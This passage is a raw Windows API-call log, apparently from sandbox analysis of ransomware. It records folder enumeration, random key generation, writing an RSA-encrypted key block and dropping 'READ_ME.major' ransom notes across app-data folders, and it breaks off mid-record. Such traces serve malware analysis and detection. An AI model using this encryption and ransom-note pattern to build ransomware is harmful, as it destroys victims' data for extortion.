[0200.181] FindNextFileW (in: hFindFile=0x30fb4c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbfaff70b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0200.181] FindNextFileW (in: hFindFile=0x30fb4c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbfaff70b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0200.181] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.181] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0200.182] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.182] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0200.182] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.182] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0200.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.183] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0200.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d8 [0200.184] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.184] ReadFile (in: hFile=0x10d8, lpBuffer=0x59d240, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.184] SetFilePointer (in: hFile=0x10d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.184] WriteFile (in: hFile=0x10d8, lpBuffer=0x59d1e0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.184] SetFilePointer (in: hFile=0x10d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.184] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.184] WriteFile (in: hFile=0x10d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.185] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.186] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.186] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8xb7m+YJMZnJaC9/poHx50zBWvnNc990sWCEDOGabeS5wdcpCvLCyHk/Rymaw9vh\niKUDIw8IvfFunXpDYopsJ/YxNtj6bNRc9gryYayNt4V48h6D728zPpMZrASqa0xS\nzOcxvk8OMYltf7f6yrxm4Hesr3HwTy5i4LkSRDm0BDeJ5u5d45tiQrqjyNunzryT\nkYUt/B+bC3+2kUiR/UOAO6lDazEzp8UsgitAutfcvPnOPTjNwiDLWjycTE8f4t0y\nK4sk51anIpgHI6ncORtdzlvlQQFR1iUbo94J2OTeipyCJrhwAcHwwZGfBjcdrITw\nNjFK4XwdqKWjEfC89YM9Dg==\n", pcchString=0x2e3f9a8) returned 1 [0200.186] WriteFile (in: hFile=0x10d8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.186] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.186] WriteFile (in: hFile=0x10d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.186] CloseHandle (hObject=0x10d8) returned 1 [0200.188] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda246550, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xda246550, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb280 [0200.188] FindNextFileW (in: hFindFile=0x30fb280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda246550, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xda246550, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.188] FindNextFileW (in: hFindFile=0x30fb280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.188] FindNextFileW (in: hFindFile=0x30fb280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.188] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd095f4e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb500 [0200.188] FindNextFileW (in: hFindFile=0x30fb500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd095f4e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.189] FindNextFileW (in: hFindFile=0x30fb500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.189] FindNextFileW (in: hFindFile=0x30fb500, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.189] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30891976, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb580 [0200.189] FindNextFileW (in: hFindFile=0x30fb580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30891976, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.189] FindNextFileW (in: hFindFile=0x30fb580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0200.189] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10e4 [0200.192] WriteFile (in: hFile=0x10e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.193] CloseHandle (hObject=0x10e4) returned 1 [0200.193] FindNextFileW (in: hFindFile=0x30fb580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0200.193] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10e4 [0200.197] WriteFile (in: hFile=0x10e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.198] CloseHandle (hObject=0x10e4) returned 1 [0200.198] FindNextFileW (in: hFindFile=0x30fb580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0200.198] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10e4 [0200.199] WriteFile (in: hFile=0x10e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.200] CloseHandle (hObject=0x10e4) returned 1 [0200.200] FindNextFileW (in: hFindFile=0x30fb580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30891976, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30891976, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30891976, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.200] FindNextFileW (in: hFindFile=0x30fb580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0200.200] FindNextFileW (in: hFindFile=0x30fb580, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0200.201] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30891976, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb5c0 [0200.201] FindNextFileW (in: hFindFile=0x30fb5c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30891976, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.201] FindNextFileW (in: hFindFile=0x30fb5c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30891976, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30891976, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.201] FindNextFileW (in: hFindFile=0x30fb5c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30891976, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30891976, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.201] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbf80 [0200.201] FindNextFileW (in: hFindFile=0x30fbf80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.201] FindNextFileW (in: hFindFile=0x30fbf80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308b81de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308b81de, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.201] FindNextFileW (in: hFindFile=0x30fbf80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308b81de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308b81de, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.201] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbb00 [0200.202] FindNextFileW (in: hFindFile=0x30fbb00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.202] FindNextFileW (in: hFindFile=0x30fbb00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308b81de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308b81de, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x308b81de, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.202] FindNextFileW (in: hFindFile=0x30fbb00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308b81de, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x308b81de, 